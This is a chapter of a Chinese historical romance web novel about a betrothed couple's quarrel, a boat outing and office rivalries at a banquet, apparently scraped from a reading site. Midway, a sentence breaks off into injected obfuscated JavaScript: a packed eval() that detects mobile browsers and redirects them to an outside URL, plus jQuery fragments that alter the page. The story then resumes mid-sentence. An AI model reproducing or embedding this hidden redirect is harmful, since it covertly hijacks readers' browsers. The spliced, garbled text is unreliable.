默认冷灰
24号文字
方正启体

7. 第 7 章

作者:藜灼本书字数:K更新时间:
    温韵辞自然不知道一次在她看来小小地争吵居然能让曹誉如此劳心费神。


    收回荷包后,温韵辞便歇了要跟安阳去听曲儿的心思。


    可好不容易出来的安阳又怎轻易依她,软磨硬泡一番,说尽好话、卖尽可怜,总算是磨得温韵辞应了下来。


    若说一开始自己对温韵辞只是看在父王的面上才说上那么几句话,可在后来的渐渐来往中,她真的极为喜欢这么一位好友。


    只是因着两人家世的关系,温韵辞对她总是有几分距离。


    这让安阳有些苦恼,既不想折了温韵辞的傲骨,又不想过于委屈自己。


    是以她偶尔放纵,又时时能够兼具温韵辞的感受。


    温韵辞也是一个伶俐人,在自己做出改变后,她也立马察觉有所回应,两人的关系明显突飞猛进。


    也是因此,安阳看得出来,今日温韵辞的拒绝不是因为其他,而是她心情欠佳。


    “你这人什么都好,就是有心事也不愿宣之于口,你当真不怕郁结于心?”安阳拉着温韵辞的手走着,说着这话却没有半点想要窥探其心思的意思。


    不过她大致也猜出来了,肯定是与曹誉有些龃龉。


    “一点小事而已。”温韵辞感动于安阳的体贴,但除了有些生气于曹誉那口不择言的话之外,其余倒是没有过多忧心。


    订婚多年,两人也不是没有因为一些事而争辩过,但那时更多的是他们对于某件事的看法不同,像今天这样的争吵倒是头一次。


    但嘴唇和牙齿都还有磕碰的时候,更何况是两个人。


    对于听曲儿,她原本就没打算应下安阳,只是因为自己不喜那等嘈杂的场面。


    可见她可怜巴巴地看着自己,露出那副跟妹妹如出一辙的模样,温韵辞还是应下了。


    安阳命人留下处理方才撞人的事,便带着温韵辞走了。


    来到倚江而立的百华楼,与福寿楼主营美食不同,百华楼顾名思义,千般花样,万般华彩,吃喝玩乐、应有尽有。


    而最著名的便是席江上的画舫游江,上至达官显贵,下至平民百姓皆可上船一游。


    只是价钱也是一个天上一个地下。


    若是在平日里,安阳定然随便点一艘游船便好,可今日乃是她好不容易重见天日,好姐妹又心情不佳之时,定然要豪掷千金,博两人有一个好心情才是。


    于是,在一艘艘规规整整停靠在岸的画舫中间,安阳选了一艘精美华贵的水上楼阁。


    船头微翘,雕刻精美,两侧各悬一盏宫灯,随着微风轻摆,在白日亮光里也泛着微微光华。


    安阳一眼便相中这唯一的画舫,以及站在船舱上的那个轻撑长篙的俊美船夫。


    “就这艘!”安阳素手一指,船家满面笑容,就要应下之际,忽闻旁边又传来一声笃定女声:“船家,这艘画舫我定下了。”


    安阳一回眸,见到那张熟悉的脸后,眼中怒火忽然间便熊熊而起。


    *


    与此同时,心中杂绪万千的曹誉顶着那些人或期待或看笑话的目光出了雅间门。


    福寿楼虽不比与其比邻而居的“天下第一楼”百华楼有名,可却比之更为金贵些。


    毕竟百华楼不仅接待显贵,更欢迎百姓。


    但福寿楼不同,后起之秀的福寿楼虽只是一座酒楼,可只要客人有要求,福寿楼便能尽力满足。


    几年下来,此楼已是京中达官显贵或笼络下臣,或宴请宾朋的重要场所。


    曹誉知道,那些人口中的“好菜”,若不是百八十两的真菜色,就是比之更为昂贵的其他“菜”。


    曹誉找了一处无人处站了片刻,醒酒的同时也思索着他究竟该作何选择。


    为官五载,振兴家族的压力,同僚隐晦的欺辱,仕途的不顺,以及自己那颗逐渐扭曲的初心,渐渐令他不似从前。


    多少个难眠的夜里,他思索着如何向上爬,揣度上峰的心思,疑心同僚的暗害,也疑惑父亲对于自己的事情是否全力以赴。


    眼下竟然连订婚多年的未婚妻也质疑起来。


    曹誉啊曹誉,你当真疯了不成?


    可良久之后,他告诉自己,只需试探一次,便能彻底断了心中的那些不该有的思量。


    他摸了摸荷包,里面鼓鼓囊囊装了前几日母亲才塞给他的体己银子,而后转身去寻了一位店小二。


    福寿楼里人声鼎沸,有人把酒言欢,也有人借酒消愁。


    三楼较为清幽的一间雅间里,隔着一道珠帘,梁霁初手中是一杯醇香的清酒,时不时酌饮一口,修长的指尖把玩着瓷白小巧的酒杯,对身旁有如实质的灼灼目光视若无睹。


    良久,还是古鸿征憋不住,将手中的酒一饮而尽后,他凑近梁霁初那张八风不动的脸问:“你是梁云开吗?”


    梁霁初扭头凉凉看他一眼,古鸿征后退些许,“看来是的。”


    既如此,他今日的举动怎么处处透着怪异。


    “那姑娘你认识?”古鸿征继续刨根问底。


    旁人都知道他梁霁初的古怪性子,作为好友的古鸿征又岂能不知?


    是以古鸿征对他今日那些举动可谓震惊不已。


    梁霁初此人对于旁人的接近,不论男女,统统冷淡待之,是一个极其难以接近的人。


    当初若不是边疆一战,他们也算是有了生死与共的情谊,加上他古小公子人见人爱的性子,估计也不会跟眼前这个冰雕似的人有所交集。


    可今日,这人不仅出手救了一个姑娘,更是在无人在意之时,又出去了一趟。


    他留了个心眼,悄悄跟上去一瞧,这厮居然是去还人荷包!


    简直是天下红雨,令人匪夷所思。


    若当时救人是迫不得已,顺手而为,那去还一个布料粗糙的荷包可就难以解释了。


    难不成,这人开窍了?


    这么想着,古鸿征也就这么问了出来,“你看上那姑娘了?”


    可那姑娘似乎已经名花有主了啊!


    古鸿征不由为好友的事凝眉。


    梁霁初闻言,冷淡的眉眼微动,“胡说什么?”


    “那你……”


    “升迁,心情颇好罢了!”梁霁初淡淡道。


    古鸿征毫不掩饰翻了一个大大的白眼。


    他宁愿相信他会高兴得去处理几份折子,都不信他能兴奋得助人为乐,而且还是一个长相漂亮的女人。


    珠帘外,歌舞升平,而身旁的男子虽将这一幕收入眼中,却像是游离于这热闹画面的世外仙人,如那高山顶上最为剔透的皑皑白雪,俯瞰世人却不染凡尘,自然也冷心冷情。


    古鸿征见他那副与世隔绝的矜贵模样,忽然就想在他脸上看到些别的神色。


    他拿起一块香瓜,一边吃一边佯装欣赏外面的歌舞,实则眼神在暗暗观察梁霁初的神色。


    “据我所知,那名叫温韵辞的姑娘似乎已经芳心暗许于旁人了。”


    他故意在“温韵辞”三个字上加重音调。


    话语中指的,便是那日在映月湖遇到温韵辞时,她身旁与她较为亲密的男子。


    但女人嘛,别说只是芳心暗许,就是已经嫁做人妇,只要有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16824101|191097||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心,就没有办不成的事。


    更何况,自己这位兄弟不比那个连脸都让人记不住的白面书生更为优异?


    只要眼光没问题,三岁孩童都知晓怎么选择。


    可偏偏他的兄弟是个不解风情之人,即便他有意刺激他,身旁那人还是那副冷淡疏离的模样。


    难不成真的是他良心发现,忽然要日行一善了?


    古鸿征失望撇嘴,真无趣。


    只是在他移开目光的一瞬,梁霁初低垂的眉眼微动。


    原来她叫温韵辞。


    还真是一个不错的名字。


    如他这般的人,又怎会看不出她与那日身旁男子的密切关系。


    而恰巧,那男子他也认识,吏部的一个主事,据说早已定亲,看来那人就是她了。


    想到那曹誉想要讨好自己又拉不下脸的忸怩作态,梁霁初心里冷笑一声,天下哪有那鱼和熊掌兼得之事。


    妄想向上爬却又自持清高,在这样的一个官场,只能去写写诗作词抒发自己郁郁不得志之情了。


    而对于他的那些莫名举动,梁霁初也说不出原因,不过是心中有所想法,便去做了。


    他的性子一向如此,是以也不觉得有什么不对。


    至于之后如何,他也从未想过。


    视线投向外间的喧哗,一个个喝得脸红脖子粗,丑态毕现,他忽觉没意思极了。


    梁霁初正欲站起身告辞,便听闻门口处喧哗声更加大了起来。


    外间,一群人喝酒吃肉,听曲赏舞。


    一人喝得脸色通红,巡视一圈人,发现曹誉还未回来,便大着舌头问:“这曹誉莫不是跑了吧?两位大人可都没走呢,他好大的胆子。”


    说话这人名叫古焕,乃贵妃古氏一族的远房旁支子弟,他进入大名鼎鼎的昭山书院之后,家中在主□□里也算得了些脸面,因此为人颇为猖狂。


    当初在书院之时便与曹誉不睦,二人后来又到了同一个地方做官。


    虽面上看去有几分同僚之情,实则两人暗地里可谓是水火不容。


    不过毕竟为官多年,古焕还是长进些许,即便是想要为难人,也不会如从前那般直白,而是将奚落的话如同玩笑般说出,不易令人拿住话柄。


    果不其然,有人接茬道:“曹兄为人真诚,乃真君子也,定然是那道菜过于难做,古兄,还需耐心等待啊。”


    “你说得对,曹兄在书院时便美名远扬,定然不会做出小人行径。”古焕道。


    “那只是过去,现在还是古兄你更为厉害啊。”说话这人带着酒气凑近,小声道:“梁大人上去了,从前的那个位置估计离古兄也不远了吧?”


    古焕佯作夸赞曹誉,不过就是借此引出旁人的恭维。


    谁不知道梁霁初上去之后,那个员外郎的位置非他莫属。


    听闻周围人的奉承,比他再娶一房美艳姬妾都来得身心舒畅。


    说着说着,有人恭维古焕的同时,也不忘踩一脚曹誉,“曹誉其人,自持世家子身份,清高示人,实则眼下谁还记得曾经有一个望族曹氏?他啊,还是不愿认清现实啊!还是古兄,自身有才干不说,更有古家做靠,当真是我等拍马难以企及之人。若是日后发达了,可不能忘了你我的同僚之意啊!”


    古焕满脸堆笑,举杯回敬:“好说好说!”竟是认下了旁人的夸赞,浑然忘了今日究竟是谁的升迁宴。


    门外,曹誉正欲推门的手顿住,眸中是难掩的郁色。


    只是当他听到里面人更为过分的话语后,郁色化为利剑,差点目眦欲裂推开房门直接动手。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)